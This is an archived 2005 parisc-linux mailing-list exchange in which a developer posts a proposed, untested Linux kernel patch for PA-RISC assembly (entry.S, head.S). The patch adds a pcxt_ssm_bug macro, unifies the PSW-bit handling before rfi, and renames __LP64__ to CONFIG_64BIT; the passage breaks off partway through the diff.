Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623765 14080 80.91.229.3 (22 Nov 2014 02:36:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andy Walker <andy@puszczka.com>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Apr 2005 14:59:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 27 Apr 2005 16:59:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2AB197D697;
	Wed, 27 Apr 2005 08:59:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24677-01; Wed, 27 Apr 2005 08:59:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D2347D68E;
	Wed, 27 Apr 2005 08:59:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01B2A7D68A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 08:59:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24442-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 08:59:26 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 7FEC67D688
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 08:59:26 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 8EBA1298052;
	Wed, 27 Apr 2005 09:01:58 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21948-03; Wed, 27 Apr 2005 09:01:58 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 4A35329803F; Wed, 27 Apr 2005 09:01:57 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <16467.193.160.141.5.1114586311.squirrel@www.puszczka.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: js0dYkhveSE57L6WZHQhaXN2IGRvb0CY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22654

On Wed, Apr 27, 2005 at 09:18:31AM +0200, Andy Walker wrote:
> Make that $DEITY - or is this the weight-watchers version ;-)

hehe. fixed.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ssm/rsm sequences
Date: Wed, 27 Apr 2005 00:58:22 -0600
Lines: 960
Approved: news@gmane.org
Message-ID: <20050427065822.GK2612@colo.lackof.org>
References: <20050425165540.GD12325@colo.lackof.org>
	<200504251744.j3PHixu9015886@hiauly1.hia.nrc.ca>
	<20050427022925.GH2612@colo.lackof.org>
	<20050427052055.GJ2612@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623766 14341 80.91.229.3 (22 Nov 2014 02:36:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:06 +0000 (UTC)
Cc: rhirst@levanta.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Apr 2005 06:55:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 27 Apr 2005 08:55:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 004C57D651;
	Wed, 27 Apr 2005 00:55:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20800-09; Wed, 27 Apr 2005 00:55:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F331D7D658;
	Wed, 27 Apr 2005 00:55:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F38D07D646
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 00:55:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20800-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 00:55:52 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 378BA7D645
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 00:55:52 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id CEBB7298052;
	Wed, 27 Apr 2005 00:58:23 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14876-05; Wed, 27 Apr 2005 00:58:22 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id BDC5329803F; Wed, 27 Apr 2005 00:58:22 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050427052055.GJ2612@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1lIdYkwqeSE57L6WZHQhaXN2IGRvbwCc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22655

On Tue, Apr 26, 2005 at 11:20:55PM -0600, Grant Grundler wrote:
> > The example code is just that, an example:
> > 	SSM	0,gr0	; initial RSM, SSM, or MTSM
> > ...
> > 
> > AFAICT, that sequence does nothing but burn some cycles.
> 
> *sigh*. The ssm 0,0/nop * 8/rsm sequence isn't so obvious.
> Richard Hirst added this comment to entry.S in 2001:
>         * The ssm is necessary due to a PCXT bug


Regardless of what this is for, the following patch adds pcxt_ssm_bug
macro to assembly.h. pcxt_ssm_bug is only enabled for CONFIG_PA7000
which is only enabled for generic 32-bit kernel.

I've added pcxt_ssm_bug use to all the locations I could
find where PSW_SM_Q was being twiddled. Until someone can
tell me what the bug is exactly, my assumption is it
is needed for all cases where we "rsm PSW_SM_Q" and not
just at init time.

I've also tried to unify all the RFI asm into a similar layout
that could be (hopefully) replaced with a macro in a future step.
And I've made them all use "PSW_SM_Q+PSW_SM_I" just to be consistent.

I apologize in advance since this patch also replaces __LP64__
with CONFIG_64BIT. I thought it would only be a few but it
turned out to interfer with the patch.

I can split out CONFIG_64BIT changes if someone really needs that
before reviewing it.  It's just too late tonight for me to do it.

Can the asm gurus please closely review this patch?

I don't plan on committing this before it's been tested too.
I've only compiled kernels with it so far.

thanks,
grant


Index: arch/parisc/kernel/entry.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/entry.S,v
retrieving revision 1.27
diff -u -p -r1.27 entry.S
--- arch/parisc/kernel/entry.S	1 Apr 2005 07:37:25 -0000	1.27
+++ arch/parisc/kernel/entry.S	27 Apr 2005 06:27:57 -0000
@@ -37,7 +37,7 @@
 #include <asm/unistd.h>
 #include <asm/thread_info.h>
 
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 #define CMPIB           cmpib,*
 #define CMPB            cmpb,*
 #define COND(x)		*x
@@ -214,7 +214,7 @@
 	va  = r8	/* virtual address for which the trap occured */
 	spc = r24	/* space for which the trap occured */
 
-#ifndef __LP64__
+#ifndef CONFIG_64BIT
 
 	/*
 	 * itlb miss interruption handler (parisc 1.1 - 32 bit)
@@ -236,7 +236,7 @@
 
 	.macro	itlb_20 code
 	mfctl	%pcsq, spc
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	b       itlb_miss_20w
 #else
 	b	itlb_miss_20
@@ -246,7 +246,7 @@
 	.align		32
 	.endm
 	
-#ifndef __LP64__
+#ifndef CONFIG_64BIT
 	/*
 	 * naitlb miss interruption handler (parisc 1.1 - 32 bit)
 	 *
@@ -283,7 +283,7 @@
 	.macro	naitlb_20 code
 
 	mfctl	%isr,spc
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	b       itlb_miss_20w
 #else
 	b	itlb_miss_20
@@ -296,7 +296,7 @@
 	.align		32
 	.endm
 	
-#ifndef __LP64__
+#ifndef CONFIG_64BIT
 	/*
 	 * dtlb miss interruption handler (parisc 1.1 - 32 bit)
 	 */
@@ -318,7 +318,7 @@
 	.macro	dtlb_20 code
 
 	mfctl	%isr, spc
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	b       dtlb_miss_20w
 #else
 	b	dtlb_miss_20
@@ -328,7 +328,7 @@
 	.align		32
 	.endm
 	
-#ifndef __LP64__
+#ifndef CONFIG_64BIT
 	/* nadtlb miss interruption handler (parisc 1.1 - 32 bit) */
 
 	.macro	nadtlb_11 code
@@ -346,7 +346,7 @@
 	.macro	nadtlb_20 code
 
 	mfctl	%isr,spc
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	b       nadtlb_miss_20w
 #else
 	b       nadtlb_miss_20
@@ -356,7 +356,7 @@
 	.align		32
 	.endm
 	
-#ifndef __LP64__
+#ifndef CONFIG_64BIT
 	/*
 	 * dirty bit trap interruption handler (parisc 1.1 - 32 bit)
 	 */
@@ -378,7 +378,7 @@
 	.macro	dbit_20 code
 
 	mfctl	%isr,spc
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	b       dbit_trap_20w
 #else
 	b	dbit_trap_20
@@ -391,7 +391,7 @@
 	/* The following are simple 32 vs 64 bit instruction
 	 * abstractions for the macros */
 	.macro		EXTR	reg1,start,length,reg2
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	extrd,u		\reg1,32+\start,\length,\reg2
 #else
 	extrw,u		\reg1,\start,\length,\reg2
@@ -399,7 +399,7 @@
 	.endm
 
 	.macro		DEP	reg1,start,length,reg2
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	depd		\reg1,32+\start,\length,\reg2
 #else
 	depw		\reg1,\start,\length,\reg2
@@ -407,7 +407,7 @@
 	.endm
 
 	.macro		DEPI	val,start,length,reg
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	depdi		\val,32+\start,\length,\reg
 #else
 	depwi		\val,\start,\length,\reg
@@ -418,7 +418,7 @@
 	 * fault.  We have to extract this and place it in the va,
 	 * zeroing the corresponding bits in the space register */
 	.macro		space_adjust	spc,va,tmp
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	extrd,u		\spc,63,SPACEID_SHIFT,\tmp
 	depd		%r0,63,SPACEID_SHIFT,\spc
 	depd		\tmp,31,SPACEID_SHIFT,\va
@@ -476,7 +476,7 @@
 	bb,>=,n		\pmd,_PxD_PRESENT_BIT,\fault
 	DEP		%r0,31,PxD_FLAG_SHIFT,\pmd /* clear flags */
 	copy		\pmd,%r9
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	shld		%r9,PxD_VALUE_SHIFT,\pmd
 #else
 	shlw		%r9,PxD_VALUE_SHIFT,\pmd
@@ -607,7 +607,7 @@
 	.macro		do_alias	spc,tmp,tmp1,va,pte,prot,fault
 	cmpib,COND(<>),n 0,\spc,\fault
 	ldil		L%(TMPALIAS_MAP_START),\tmp
-#if defined(__LP64__) && (TMPALIAS_MAP_START >= 0x80000000)
+#if defined(CONFIG_64BIT) && (TMPALIAS_MAP_START >= 0x80000000)
 	/* on LP64, ldi will sign extend into the upper 32 bits,
 	 * which is behaviour we don't want */
 	depdi		0,31,32,\tmp
@@ -621,7 +621,7 @@
 	 * OK, it is in the temp alias region, check whether "from" or "to".
 	 * Check "subtle" note in pacache.S re: r23/r26.
 	 */
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	extrd,u,*=	\va,41,1,%r0
 #else
 	extrw,u,=	\va,9,1,%r0
@@ -688,7 +688,7 @@ fault_vector_20:
 	def		30
 	def		31
 
-#ifndef __LP64__
+#ifndef CONFIG_64BIT
 
 	.export fault_vector_11
 	
@@ -761,7 +761,7 @@ __kernel_thread:
 
 	copy	%r30, %r1
 	ldo	PT_SZ_ALGN(%r30),%r30
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	/* Yo, function pointers in wide mode are little structs... -PB */
 	ldd	24(%r26), %r2
 	STREG	%r2, PT_GR27(%r1)	/* Store childs %dp */
@@ -777,7 +777,7 @@ __kernel_thread:
 	or	%r26, %r24, %r26      /* will have kernel mappings.	 */
 	ldi	1, %r25			/* stack_start, signals kernel thread */
 	stw	%r0, -52(%r30)	     	/* user_tid */
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 	BL	do_fork, %r2
@@ -806,7 +806,7 @@ ret_from_kernel_thread:
 
 	LDREG	TI_TASK-THREAD_SZ_ALGN(%r30), %r1
 	LDREG	TASK_PT_GR25(%r1), %r26
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	LDREG	TASK_PT_GR27(%r1), %r27
 	LDREG	TASK_PT_GR22(%r1), %r22
 #endif
@@ -814,7 +814,7 @@ ret_from_kernel_thread:
 	ble	0(%sr7, %r1)
 	copy	%r31, %r2
 
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29		/* Reference param save area */
 	loadgp				/* Thread could have been in a module */
 #endif
@@ -835,7 +835,7 @@ __execve:
 	STREG	%r26, PT_GR26(%r16)
 	STREG	%r25, PT_GR25(%r16)
 	STREG	%r24, PT_GR24(%r16)
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 	BL	sys_execve, %r2
@@ -893,9 +893,6 @@ _switch_to_ret:
 	 * this way, then we will need to copy %sr3 in to PT_SR[3..7], and
 	 * adjust IASQ[0..1].
 	 *
-	 * Note that the following code uses a "relied upon translation".
-	 * See the parisc ACD for details. The ssm is necessary due to a
-	 * PCXT bug.
 	 */
 
 	.align 4096
@@ -916,7 +913,7 @@ syscall_exit_rfi:
 	STREG	%r19,PT_IAOQ1(%r16)
 	LDREG   PT_PSW(%r16),%r19
 	load32	USER_PSW_MASK,%r1
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	load32	USER_PSW_HI_MASK,%r20
 	depd    %r20,31,32,%r1
 #endif
@@ -960,7 +957,7 @@ intr_return:
 	/* shift left ____cacheline_aligned (aka L1_CACHE_BYTES) amount
 	** irq_stat[] is defined using ____cacheline_aligned.
 	*/
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	shld	%r1, 6, %r20
 #else
 	shlw	%r1, 5, %r20
@@ -990,24 +987,18 @@ intr_restore:
 	rest_fp         %r1
 	rest_general    %r29
 
-	/* Create a "relied upon translation" PA 2.0 Arch. F-5 */
-	ssm		0,%r0
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
+	pcxt_ssm_bug
 	tophys_r1       %r29
-	rsm             (PSW_SM_Q|PSW_SM_P|PSW_SM_D|PSW_SM_I),%r0
+	rsm             PSW_SM_QUIET,%r0	/* prepare for rfi */
 
 	/* Restore space id's and special cr's from PT_REGS
-	 * structure pointed to by r29 */
+	 * structure pointed to by r29
+	 */
 	rest_specials	%r29
 
-	/* Important: Note that rest_stack restores r29
-	 * last (we are using it)! It also restores r1 and r30. */
+	/* IMPORTANT: rest_stack restores r29 last (we are using it)!
+	 * It also restores r1 and r30.
+	 */
 	rest_stack
 
 	rfi
@@ -1023,7 +1014,7 @@ intr_restore:
 	.import do_softirq,code
 intr_do_softirq:
 	BL      do_softirq,%r2
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #else
 	nop
@@ -1041,7 +1032,7 @@ intr_do_resched:
 	CMPIB= 0,%r20,intr_restore /* backward */
 	nop
 
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
@@ -1074,7 +1065,7 @@ intr_do_signal:
 
 	copy	%r0, %r24			/* unsigned long in_syscall */
 	copy	%r16, %r25			/* struct pt_regs *regs */
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29			/* Reference param save area */
 #endif
 
@@ -1098,7 +1089,7 @@ intr_extint:
 	mfctl	%cr31,%r1
 	copy	%r30,%r17
 	/* FIXME! depi below has hardcoded idea of interrupt stack size (32k)*/
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	depdi	0,63,15,%r17
 #else
 	depi	0,31,15,%r17
@@ -1125,7 +1116,7 @@ intr_extint:
 
 	ldil	L%intr_return, %r2
 
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29	/* Reference param save area */
 #endif
 
@@ -1168,7 +1159,7 @@ intr_save:
 	mfctl           %cr20, %r16 /* isr */
 	mfctl           %cr21, %r17 /* ior */
 
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	/*
 	 * If the interrupted code was running with W bit off (32 bit),
 	 * clear the b bits (bits 0 & 1) in the ior.
@@ -1202,7 +1193,7 @@ skip_save_ior:
 	loadgp
 
 	copy		%r29, %r25	/* arg1 is pt_regs */
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	ldo		-16(%r30),%r29	/* Reference param save area */
 #endif
 
@@ -1240,7 +1231,7 @@ skip_save_ior:
 	spc  = r24	/* space for which the trap occured */
 	ptp = r25	/* page directory/page table pointer */
 
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 
 dtlb_miss_20w:
 	space_adjust	spc,va,t0
@@ -1531,7 +1522,7 @@ nadtlb_probe_check:
 	nop
 
 
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 itlb_miss_20w:
 
 	/*
@@ -1598,7 +1589,7 @@ itlb_miss_20:
 
 #endif
 
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 
 dbit_trap_20w:
 	space_adjust	spc,va,t0
@@ -1807,7 +1798,7 @@ sys_fork_wrapper:
 
 	STREG	%r2,-RP_OFFSET(%r30)
 	ldo	FRAME_SIZE(%r30),%r30
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
@@ -1857,7 +1848,7 @@ sys_clone_wrapper:
 
 	STREG	%r2,-RP_OFFSET(%r30)
 	ldo	FRAME_SIZE(%r30),%r30
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
@@ -1879,7 +1870,7 @@ sys_vfork_wrapper:
 
 	STREG	%r2,-RP_OFFSET(%r30)
 	ldo	FRAME_SIZE(%r30),%r30
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
@@ -1907,7 +1898,7 @@ sys_vfork_wrapper:
 
 	STREG %r2,-RP_OFFSET(%r30)
 	ldo FRAME_SIZE(%r30),%r30
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 	BL \execve,%r2
@@ -1933,7 +1924,7 @@ error_\execve:
 sys_execve_wrapper:
 	execve_wrapper sys_execve
 
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	.export sys32_execve_wrapper
 	.import sys32_execve
 
@@ -1947,7 +1938,7 @@ sys_rt_sigreturn_wrapper:
 	ldo	TASK_REGS(%r26),%r26	/* get pt regs */
 	/* Don't save regs, we are going to restore them from sigcontext. */
 	STREG	%r2, -RP_OFFSET(%r30)
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	ldo	FRAME_SIZE(%r30), %r30
 	BL	sys_rt_sigreturn,%r2
 	ldo	-16(%r30),%r29		/* Reference param save area */
@@ -1978,7 +1969,7 @@ sys_sigaltstack_wrapper:
 	ldo	TASK_REGS(%r1),%r24	/* get pt regs */
 	LDREG	TASK_PT_GR30(%r24),%r24
 	STREG	%r2, -RP_OFFSET(%r30)
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	ldo	FRAME_SIZE(%r30), %r30
 	b,l	do_sigaltstack,%r2
 	ldo	-16(%r30),%r29		/* Reference param save area */
@@ -1992,7 +1983,7 @@ sys_sigaltstack_wrapper:
 	bv	%r0(%r2)
 	nop
 
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	.export sys32_sigaltstack_wrapper
 sys32_sigaltstack_wrapper:
 	/* Get the user stack pointer */
@@ -2016,7 +2007,7 @@ sys_rt_sigsuspend_wrapper:
 	reg_save %r24
 
 	STREG	%r2, -RP_OFFSET(%r30)
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	ldo	FRAME_SIZE(%r30), %r30
 	b,l	sys_rt_sigsuspend,%r2
 	ldo	-16(%r30),%r29		/* Reference param save area */
@@ -2089,7 +2080,7 @@ syscall_check_bh:
 	ldw     TI_CPU-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r26 /* cpu # */
 
 	/* shift left ____cacheline_aligned (aka L1_CACHE_BYTES) bits */
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	shld	%r26, 6, %r20
 #else
 	shlw	%r26, 5, %r20
@@ -2154,7 +2145,7 @@ syscall_restore:
 
 	depi	3,31,2,%r31			   /* ensure return to user mode. */
 
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	/* decide whether to reset the wide mode bit
 	 *
 	 * For a syscall, the W bit is stored in the lowest bit
@@ -2250,7 +2241,7 @@ syscall_do_softirq:
 	.import schedule,code
 syscall_do_resched:
 	BL	schedule,%r2
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #else
 	nop
@@ -2270,7 +2261,7 @@ syscall_do_signal:
 
 	ldi	1, %r24				/* unsigned long in_syscall */
 
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29			/* Reference param save area */
 #endif
 	BL	do_signal,%r2
Index: arch/parisc/kernel/head.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/head.S,v
retrieving revision 1.11
diff -u -p -r1.11 head.S
--- arch/parisc/kernel/head.S	1 Nov 2004 16:15:50 -0000	1.11
+++ arch/parisc/kernel/head.S	27 Apr 2005 06:27:57 -0000
@@ -36,7 +36,7 @@ boot_args:
 	.align	4
 	.import init_thread_union,data
 	.import fault_vector_20,code    /* IVA parisc 2.0 32 bit */
-#ifndef __LP64__
+#ifndef CONFIG_64BIT
         .import fault_vector_11,code    /* IVA parisc 1.1 32 bit */
 	.import	$global$		/* forward declaration */
 #endif /*!LP64*/
@@ -76,7 +76,7 @@ $bss_loop:
 	mtctl		%r4,%cr24	/* Initialize kernel root pointer */
 	mtctl		%r4,%cr25	/* Initialize user root pointer */
 
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	/* Set pmd in pgd */
 	load32		PA(pmd0),%r5
 	shrd            %r5,PxD_VALUE_SHIFT,%r3	
@@ -99,7 +99,7 @@ $bss_loop:
 	stw		%r3,0(%r4)
 	ldo		(ASM_PAGE_SIZE >> PxD_VALUE_SHIFT)(%r3),%r3
 	addib,>		-1,%r1,1b
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	ldo             ASM_PMD_ENTRY_SIZE(%r4),%r4
 #else
 	ldo             ASM_PGD_ENTRY_SIZE(%r4),%r4
@@ -170,7 +170,7 @@ common_stext:
 	stw		%r0,0x28(%r0)	/* MEM_RENDEZ_HI */
 #endif /*CONFIG_SMP*/
 
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	tophys_r1	%sp
 
 	/* Save the rfi target address */
@@ -235,7 +235,7 @@ stext_pdc_ret:
 	 * following short sequence of instructions can determine this
 	 * (without being illegal on a PA1.1 machine).
 	 */
-#ifndef __LP64__
+#ifndef CONFIG_64BIT
 	ldi		32,%r10
 	mtctl		%r10,%cr11
 	.level 2.0
@@ -254,32 +254,14 @@ $is_pa20:
 $install_iva:
 	mtctl		%r10,%cr14
 
-#ifdef __LP64__
 	b		aligned_rfi
 	nop
 
-	.align          256
+	.align          128
 aligned_rfi:
-	ssm             0,0
-	nop             /* 1 */
-	nop             /* 2 */
-	nop             /* 3 */
-	nop             /* 4 */
-	nop             /* 5 */
-	nop             /* 6 */
-	nop             /* 7 */
-	nop             /* 8 */
-#endif
-
-#ifdef __LP64__ /* move to psw.h? */
-#define		PSW_BITS	PSW_Q+PSW_I+PSW_D+PSW_P+PSW_R
-#else
-#define		PSW_BITS	PSW_SM_Q
-#endif
-
-$rfi:	
-	/* turn off troublesome PSW bits */
-	rsm		PSW_BITS,%r0
+	pcxt_ssm_bug
+	rsm		PSW_SM_QUIET,%r0	/* off troublesome PSW bits */
+	/* Don't need NOPs, have 8 compliant insn below */
 
 	/* kernel PSW:
 	 *  - no interruptions except HPMC and TOC (which are handled by PDC)
@@ -313,7 +295,7 @@ $rfi:	
 	.import smp_init_current_idle_task,data
 	.import	smp_callin,code
 
-#ifndef __LP64__
+#ifndef CONFIG_64BIT
 smp_callin_rtn:
         .proc
 	.callinfo
@@ -356,7 +338,7 @@ smp_slave_stext:
 	mtctl		%r4,%cr24	/* Initialize kernel root pointer */
 	mtctl		%r4,%cr25	/* Initialize user root pointer */
 
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
